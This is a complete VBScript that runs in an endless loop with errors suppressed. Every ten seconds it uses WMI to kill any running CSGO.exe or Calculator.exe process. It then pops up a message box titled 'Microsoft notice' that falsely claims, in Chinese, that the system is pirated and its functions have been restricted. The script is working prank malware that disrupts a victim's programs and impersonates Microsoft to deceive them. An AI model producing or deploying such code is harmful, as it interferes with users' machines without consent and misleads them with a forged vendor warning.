On Error Resume Next
Dim bag,pipe,honker,good
Do
good="."
set bag=getobject("winmgmts://"& good &"/root/cimv2")
set pipe=bag.execquery("select * from win32_process where name='CSGO.exe' or name='Calculator.exe'")
for each i in pipe
i.terminate()
msgbox "您可能是盗版系统受害者，现已进行功能限制" & vbcrlf & "请使用正版系统！",,"微软提示"
next
wscript.sleep 10000
loop
